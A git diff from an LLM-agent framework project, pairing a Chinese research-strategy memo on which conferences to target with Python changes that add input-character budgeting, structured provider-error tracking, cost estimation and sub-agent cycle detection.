+2. **系统层并发还是坏的**:审计发现 `Par` 分支共享 Context、单 SQLite 连接 `check_same_thread=False`、模块全局 shell CWD 被并发改写。没有真正的 LLM-kernel 调度器、无多租户硬化、无 L2 容器隔离。
+
+→ 这意味着:**PL 路线要补证明,系统路线要先把系统建出来。**
+
+---
+
+## 5. 四个会议方向 × 优劣势
+
+| 会议方向 | 它要什么 | 我们的强项 | 我们的硬伤 | 现在可投性 |
+|---|---|---|---|---|
+| **PL/语义** POPL/OOPSLA | 严谨元理论,最好机器验证;要讲清与 graded type / 资源分析(AARA、Granule)的 delta | 类型 + effect + **graded cost** 正是 PL 热点;LLM-as-oracle、cost 上界可证、6 代数律、CEK——题材新且深 | 定理只在 markdown;cost soundness 缺真语义模型 + LLM 不确定性建模;无机械化 | 6–12 月硬化后可投,**护城河最深** |
+| **系统** OSDI/SOSP/EuroSys | 真 workload、吞吐/延迟实测、对比 AIOS、规模化并发 | AgentOS 叙事正当口;agentpaas 真能部署;cost 预测 → admission control 是地道系统贡献 | **系统本身还没建**:并发有 bug、无调度器、无 LLM-kernel 复用、无多租户;形式化在这里反被当过度设计 | 现在不行,**最差的时间点** |
+| **Agent/ML** NeurIPS/ICLR/workshop | 主 track 要 SOTA 或强实证;社区大、快 | cost 预测精度可实测;835 配置语料;安全护栏可演示 | 主 track 把"形式化"当非 ML,易被误读"benchmark 呢";理论价值被低估 | **workshop 现在可投**;主 track 错配 |
+| **Vision/Workshop 短文** HotOS 等 | 挑衅性 idea + 立场,不要求完整 eval | 现有家底**足够立 claim**;HotOS 正是系统界 vision 场,爱"agent 需要形式化内核"这种命题 | 引用/份量低于全文;只是插旗不是定论 | **立刻可投,性价比最高** |
+
+---
+
+## 6. 推荐:两步走
+
+### 第一步(现在,3–6 周)——HotOS 风格 vision 短文,插旗
+- 暂定标题:*"An AgentOS Needs a Formal Kernel: Cost-Graded, Effect-Typed Semantics as the Scheduling Substrate"*
+- 为什么:**今天就有的东西**(三篇理论 + 真实现 + 835 实证)刚好够撑 4–6 页 vision,不需要机械化证明、不需要 perf eval。
+- 战略价值:在"formally-grounded AgentOS kernel"楔子被别人占之前抢下 priority;HotOS 是系统社区,正好把形式化卖给最需要被说服的人群。
+
+### 第二步(主攻,6–12 月)——OOPSLA 全文,旗舰
+- 为什么是 OOPSLA 而非 POPL:OOPSLA 接受"形式化 + 真实现 + 实证"三件套,而我们三样都有;POPL 纯理论门槛会逼我们去做现在没有的纯元理论。
+- 必补的关键一件:把 **cost soundness 定理(actual ≤ predicted upper bound)做成有真语义模型、最好机械化的核心结果**——这是从"工程文档里的定理"升级为"PL 会议级贡献"的分水岭,也是审稿人必戳之处。
+
+### 明确不做(现在)
+- 系统会议:系统没建,投了就是送。
+- ML 主 track:强项错配。
+- 备选第三战场:ML/agent **workshop**,专打 cost 预测精度实证。
+
+---
+
+## 7. 下一步 TODO
+
+- [ ] 起草 vision 短文 outline + core claims(用 `theory.md` / `cost_grade.py` / `cek_machine.py` 做实证支撑)
+- [ ] 列 OOPSLA 全文 claim 骨架,与 vision 对照
+- [ ] 调研 AgentOS / AIOS / Letta 当前 landscape,确认楔子未被占(deep-research)
+- [ ] 评估 cost-soundness 定理机械化的工作量(Coq/Rocq vs 纸面严格证明)
+- [ ] (并行)修系统层并发 bug——为未来系统会议路线铺路
+
+---
+
+## 8. 相关材料索引
+
+- 理论三篇:`docs/theory.md`、`docs/research/THEORY.md`
+- cost 预测解释:`docs/cost-prediction-explained.md`
+- 研究方向总结:`04-Projects/Lambdagent研究方向总结.md`
+- 安全规范 / 审计:`lambdagent/SECURITYSPEC.md`、`docs/AUDIT_2026-06-05.md`
+- 核心实现:`lambdagent/src/lambdagent/{core,effects,cost_grade,cek_machine}.py`、`fromconfig/{compiler,lint}.py`

+ 96 - 5
lambdagent/src/lambdagent/conversation.py

@@ -56,12 +56,21 @@ class ConversationLam(Term):
         model: str = "",
         temperature: float = 0.0,
         max_tokens: int = 4096,
+        # Hard character ceiling for the *rendered* request (system + history +
+        # new input). Providers like DashScope/qwen reject inputs over a fixed
+        # CHARACTER count (qwen: 258048 → "Range of input length should be
+        # [1, 258048]"). The token-based budget above is not enough on its own:
+        # for CJK text 1 token ≈ 1 char, so an 80k-"token" history estimated as
+        # 320k chars sails past the char limit. We keep a conservative margin
+        # below 258048 for the system prompt + the next user turn.
+        max_input_chars: int = 200000,
     ):
         super().__init__(name)
         self.provider = provider
         self.system_prompt = system_prompt
         self.max_history_tokens = max_history_tokens
         self.keep_recent_turns = keep_recent_turns
+        self.max_input_chars = max_input_chars
         self.output_parser = output_parser or (lambda x: x)
         # L03: Store model/temperature/max_tokens for chat_typed calls
         self._model = model
@@ -103,6 +112,7 @@ class ConversationLam(Term):
             response = self.provider.chat(managed)
         except ProviderError as e:
             response = f"[{e.provider.upper()}_ERROR] {e}"
+            ctx.record_provider_error(e.provider, str(e))  # AUDIT ②: 结构化上报
 
         # Record assistant response
         self.messages.append({"role": "assistant", "content": response})
@@ -145,6 +155,7 @@ class ConversationLam(Term):
                 text=f"[{e.provider.upper()}_ERROR] {e}",
                 model=self.model,
             )
+            ctx.record_provider_error(e.provider, str(e))  # AUDIT ②: 结构化上报
 
         duration = (time.time() - t0) * 1000
 
@@ -164,14 +175,41 @@ class ConversationLam(Term):
         return response
 
     def _compact_typed(self, messages: List[ChatMessage]) -> List[ChatMessage]:
-        """Compact ChatMessage history if token estimate exceeds budget."""
+        """Compact ChatMessage history under both token and char budgets."""
         total_chars = sum(len(m.content) for m in messages)
         estimated_tokens = total_chars // 4
 
+        # Hard character ceiling (qwen rejects >258048 chars). Drop oldest
+        # history first, then middle-truncate a remaining oversized message.
+        if total_chars > self.max_input_chars and messages:
+            system = messages[:1]
+            history = list(messages[1:])
+            sys_chars = sum(len(m.content) for m in system)
+            while history and sys_chars + sum(len(m.content) for m in history) > self.max_input_chars:
+                history.pop(0)
+            kept = system + history
+            if sum(len(m.content) for m in kept) > self.max_input_chars:
+                slack = max(1000, self.max_input_chars - sys_chars - 200)
+                for i, m in enumerate(kept[1:], 1):
+                    if len(m.content) > slack:
+                        c = m.content
+                        head = slack // 2
+                        kept[i] = ChatMessage(
+                            role=m.role,
+                            content=c[:head]
+                            + f"\n... [truncated {len(c) - slack} chars to fit input limit] ...\n"
+                            + c[-(slack - head):],
+                        )
+                    if sum(len(mm.content) for mm in kept) <= self.max_input_chars:
+                        break
+            messages = kept
+            total_chars = sum(len(m.content) for m in messages)
+            estimated_tokens = total_chars // 4
+
         if estimated_tokens <= self.max_history_tokens:
             return messages
 
-        # Keep system + last N messages that fit
+        # Keep system + last N messages that fit the token budget
         system = messages[:1]
         history = messages[1:]
 
@@ -202,7 +240,9 @@ class ConversationLam(Term):
         total_tokens = self._estimate_tokens(self.messages)
 
         if total_tokens <= self.max_history_tokens:
-            return list(self.messages)
+            # Under the token budget, but CJK-heavy histories can still exceed
+            # the provider's hard character limit — enforce that too.
+            return self._enforce_char_budget(list(self.messages))
 
         # Keep system + recent turns
         system = self.messages[0]
@@ -212,7 +252,9 @@ class ConversationLam(Term):
         old = self.messages[1:-keep_count] if len(self.messages) > keep_count + 1 else []
 
         if not old:
-            return list(self.messages)
+            # All messages are within the recent window — but they may still
+            # blow the provider's char limit (e.g. several full PDF reads).
+            return self._enforce_char_budget(list(self.messages))
 
         # Compress old messages into summary
         summary_lines = []
@@ -223,7 +265,56 @@ class ConversationLam(Term):
 
         summary = "[对话历史摘要]\n" + "\n".join(summary_lines)
 
-        return [system, {"role": "user", "content": summary}] + list(recent)
+        return self._enforce_char_budget(
+            [system, {"role": "user", "content": summary}] + list(recent)
+        )
+
+    def _enforce_char_budget(self, messages: List[dict]) -> List[dict]:
+        """Hard cap the rendered request size by CHARACTER count.
+
+        Token estimates undercount CJK text, so a token-only budget can still
+        exceed a provider's character limit (qwen: 258048). This guarantees the
+        final list fits: it (1) drops the OLDEST non-system turns first, then
+        (2) middle-truncates any single oversized message that remains.
+        """
+        budget = self.max_input_chars
+        if not messages:
+            return messages
+
+        def total(msgs):
+            return sum(len(m.get("content", "")) for m in msgs)
+
+        if total(messages) <= budget:
+            return messages
+
+        system = messages[:1]
+        history = messages[1:]
+        sys_chars = total(system)
+
+        # 1) Drop oldest history messages until we're under budget.
+        while history and sys_chars + total(history) > budget:
+            history.pop(0)
+
+        kept = system + history
+
+        # 2) If a single remaining message is still too big (e.g. one giant
+        #    tool observation), middle-truncate it so the head+tail survive.
+        if total(kept) > budget:
+            slack = max(1000, budget - sys_chars - 200)
+            for m in kept[1:]:
+                if len(m.get("content", "")) > slack:
+                    c = m["content"]
+                    head = slack // 2
+                    tail = slack - head
+                    m["content"] = (
+                        c[:head]
+                        + f"\n... [truncated {len(c) - slack} chars to fit input limit] ...\n"
+                        + c[-tail:]
+                    )
+                if total(kept) <= budget:
+                    break
+
+        return kept
 
     def _estimate_tokens(self, messages: List[dict]) -> int:
         """Rough token estimate: 4 chars ≈ 1 token."""

+ 16 - 0
lambdagent/src/lambdagent/core.py

@@ -73,6 +73,19 @@ class Context:
     # Run workspace — 每次执行的工作目录
     workspace_path: Optional[str] = None
     run_id: Optional[str] = None
+    # AUDIT_2026-06-11 ②: 结构化 provider 错误通道。错误字符串
+    # ("[QWEN_ERROR] …")在 ReAct 循环内是给模型看的重试信号,但宿主
+    # (agentpaas)在 run 边界判定成败时不应再靠正则猜文本 —— provider
+    # 抛错时这里同步记一条结构化事件,宿主优先读它。
+    # 与 trace 同样按引用穿透 extend()(子作用域上报到同一列表)。
+    provider_errors: List[Dict[str, Any]] = field(default_factory=list)
+
+    def record_provider_error(self, provider: str, message: str) -> None:
+        """记录一次 provider 级失败(API 报错/超时等致命错误)"""
+        self.provider_errors.append({
+            "provider": provider,
+            "message": str(message)[:500],
+        })
 
     def extend(self, **bindings) -> Context:
         """创建子环境(词法作用域)"""
@@ -83,6 +96,7 @@ class Context:
             parent=self,
             workspace_path=self.workspace_path,
             run_id=self.run_id,
+            provider_errors=self.provider_errors,
         )
 
     def lookup(self, name: str) -> Any:
@@ -120,11 +134,13 @@ class Context:
             parent=self.parent,                      # parent 只读,不需要拷贝
             workspace_path=self.workspace_path,      # 共享 workspace(同一次 run)
             run_id=self.run_id,                      # 共享 run_id
+            provider_errors=[],                      # 独立错误列表(随 merge_trace 汇回)
         )
 
     def merge_trace(self, other: Context):
         """合并子上下文的 trace 到当前上下文"""
         self.trace.extend(other.trace)
+        self.provider_errors.extend(other.provider_errors)
 
     def print_trace(self):
         """打印完整的 β-规约链"""

+ 19 - 0
lambdagent/src/lambdagent/cost_grade.py

@@ -327,6 +327,25 @@ def estimate_cost(term: Term, model_costs: Dict[str, Dict[str, float]] | None =
         return cls_cost
 
     else:
+        # ConversationLam(有状态会话 Lam)— AUDIT_2026-06-11 ⑤:
+        # 此前落进"未知 term → 零成本",导致 pipeline 成本预估中
+        # stage 主 agent 全部算 0。按其 model 名走与 Lam 相同的计费。
+        # 懒 import 避免 conversation ↔ cost_grade 循环依赖。
+        try:
+            from .conversation import ConversationLam
+            if isinstance(term, ConversationLam):
+                mc = _get_model_cost(getattr(term, "model", "") or "")
+                tokens = mc["tokens_per_call"]
+                return CostGrade(
+                    probability=1.0 - _DEFAULT_LLM_FATAL_RATE,
+                    tokens=tokens,
+                    latency=mc["latency"],
+                    money=tokens / 1000.0 * mc["price_per_1k"],
+                    p_fatal=_DEFAULT_LLM_FATAL_RATE,
+                )
+        except ImportError:
+            pass
+
         # 多智能体扩展等 — 尝试分析
         try:
             from .multiagent import AsyncPar

+ 74 - 6
lambdagent/src/lambdagent/fromconfig/compiler.py

@@ -230,18 +230,38 @@ def from_config(path: str, **overrides) -> Term:
 
 _MAX_COMPILE_DEPTH = 20  # FIX-10: Prevent infinite recursion in sub-agent compilation
 
+# FIX-10 改进 (AUDIT_2026-06-11 ⑩): 原 `_depth` 形参从未在递归调用点
+# (router routes / parallel agents) 传递 +1,深度限制实为死代码;且报错
+# 不含引用链。改用 thread-local 编译栈:进入 build_agent 压入 agent 名、
+# 退出弹出,超深时报完整 A → B → C 链路。
+import threading as _threading
+_compile_stack = _threading.local()
+
 
 def build_agent(cfg: Dict[str, Any], overrides: Dict = None, _depth: int = 0) -> Term:
     """
     Recursively compile a config dict to a Lambda term.
     Sub-agents (in router routes, parallel agents) are compiled recursively.
     """
-    # FIX-10: Recursion depth limit to prevent A→B→C→A cycles
-    if _depth > _MAX_COMPILE_DEPTH:
+    stack = getattr(_compile_stack, "names", None)
+    if stack is None:
+        stack = _compile_stack.names = []
+    agent_label = str(cfg.get("name") or cfg.get("type", "agent"))
+    if len(stack) >= _MAX_COMPILE_DEPTH:
+        chain = " → ".join(stack + [agent_label])
         raise RecursionError(
             f"Sub-agent compilation exceeded max depth {_MAX_COMPILE_DEPTH}. "
-            f"Possible circular reference in subAgents configuration."
+            f"Possible circular reference in subAgents configuration. "
+            f"Compile chain: {chain}"
         )
+    stack.append(agent_label)
+    try:
+        return _build_agent_inner(cfg, overrides)
+    finally:
+        stack.pop()
+
+
+def _build_agent_inner(cfg: Dict[str, Any], overrides: Dict = None) -> Term:
     overrides = overrides or {}
     agent_type = cfg.get("type", "simple")
 
@@ -363,6 +383,17 @@ def _compile_sub_agents(cfg: Dict, sub_agents_cfg: Dict, overrides: Dict) -> Dic
 
         def _make_caller(_name, _path, _inline):
             def caller(input_str):
+                # FIX-10 运行期环检测 (AUDIT_2026-06-11 ⑩): 文件引用模式的
+                # 子智能体是调用时才懒编译的,编译期深度限制管不到
+                # A.yml ↔ B.yml 互调。用 thread-local 在飞栈拒绝重入,
+                # 报错带完整调用链。
+                in_flight = getattr(_compile_stack, "subagents", None)
+                if in_flight is None:
+                    in_flight = _compile_stack.subagents = []
+                if _name in in_flight:
+                    chain = " → ".join(in_flight + [_name])
+                    return (f"[SubAgent cycle detected: {chain} — "
+                            f"refusing to recurse into {_name!r} again]")
                 if _name not in _compiled_cache:
                     try:
                         if _inline:
@@ -384,6 +415,7 @@ def _compile_sub_agents(cfg: Dict, sub_agents_cfg: Dict, overrides: Dict) -> Dic
                     except (ValueError, AttributeError):
                         pass
 
+                in_flight.append(_name)
                 try:
                     result = _compiled_cache[_name].apply(task, Context())
                     return str(result)
@@ -402,6 +434,8 @@ def _compile_sub_agents(cfg: Dict, sub_agents_cfg: Dict, overrides: Dict) -> Dic
                     except ImportError:
                         pass
                     return f"[SubAgent {_name} error: {e}]"
+                finally:
+                    in_flight.pop()
 
             return caller
 
@@ -573,8 +607,16 @@ def _compile_lam(cfg: Dict, name_suffix: str = "", overrides: Dict = None) -> "T
                 temperature=temperature,
                 max_tokens=max_tokens,
             )
-    except Exception:
-        pass  # Fall through to legacy Lam
+    except Exception as e:
+        # Fall through to legacy Lam — but loudly: silent fallback hides
+        # provider misconfiguration (wrong key/model name) as "agent forgets
+        # everything between turns", which is much harder to debug downstream.
+        import logging
+        logging.getLogger("lambdagent").warning(
+            "ConversationLam creation failed for %r (model=%r): %s — "
+            "falling back to stateless legacy Lam",
+            agent_name, model_cfg.get("name", ""), e,
+        )
 
     # Legacy fallback: stateless Lam
     return Lam(
@@ -771,7 +813,18 @@ def _compile_react(cfg: Dict, overrides: Dict) -> Term:
         )
         return any(marker in text for marker in fail_markers)
 
-    # Detect if ClaudeLam supports session persistence (--resume)
+    # Detect if ClaudeLam supports session persistence (--resume).
+    #
+    # NOTE: ConversationLam exposes a `_session_id` property on the class that
+    # delegates to the provider, so this is True for every ConversationLam.
+    # For non-session providers (DashScope/OpenAI) that is actually the
+    # behaviour we want: the "session" branch passes only the latest
+    # observation as input each step while ConversationLam accumulates the full
+    # history client-side — i.e. real conversation memory without re-sending a
+    # giant state string. The accumulation is bounded by ConversationLam's hard
+    # character cap (see max_input_chars) so it never exceeds the provider's
+    # input-length limit. Do NOT switch this to a provider probe: that routes
+    # qwen through the (separately broken) _compress_state path.
     _has_session = hasattr(think, '_session_id')
 
     # Lazy import — keeps the engine independent of any host-provided cancel
@@ -848,6 +901,21 @@ def _compile_react(cfg: Dict, overrides: Dict) -> Term:
             # First step (with CWD) or stateless mode
             llm_input = _user_input[0] if step == 0 else str(state)
 
+        # ── ConversationLam context reset for stateless providers ──────────────
+        # For non-session providers (DashScope, OpenAI, DeepSeek…), the ReAct
+        # state string ALREADY contains the full history (accumulated thoughts
+        # + observations). Using ConversationLam naively would send each step's
+        # llm_input PLUS all prior (user, assistant) message pairs, causing the
+        # context to grow quadratically.  By step 12 with a large-context task,
+        # this easily exceeds 100 K tokens and triggers "Range of input" 400s.
+        #
+        # Fix: reset to [system] before each call in stateless mode so the API
+        # receives exactly [system, current_prompt] — linear, not quadratic.
+        # Session mode (ClaudeLam --resume) is unaffected: it passes only the
+        # latest observation to Claude and relies on server-side session memory.
+        if not _has_session and hasattr(think, 'reset'):
+            think.reset()
+
         thought = think.apply(llm_input, ctx)
         think_ms = (time.time() - t0) * 1000
 

+ 1 - 1
lambdagent/tests/test_paas_services.py

@@ -140,7 +140,7 @@ class TestPersona:
         from agentpaas.services.persona import compile_persona
         result = compile_persona({"template": "lambda"})
         assert "lambda" in result
-        assert "🐑" in result
+        assert "🐂" in result  # release-v1 起 persona 吉祥物为 lambda 🐂
 
     def test_compile_jarvis(self):
         from agentpaas.services.persona import compile_persona

+ 2 - 0
mkdocs.yml

@@ -18,6 +18,8 @@ nav:
   - Multi-Agent: multi-agent.md
   - API Reference: api.md
   - AgentPaaS: agentpaas.md
+  - Product:
+    - Desktop Requirements Change: requirements-change-personal-desktop.md
   - Theory: theory.md
   - Research:
     - Formal Theory: research/THEORY.md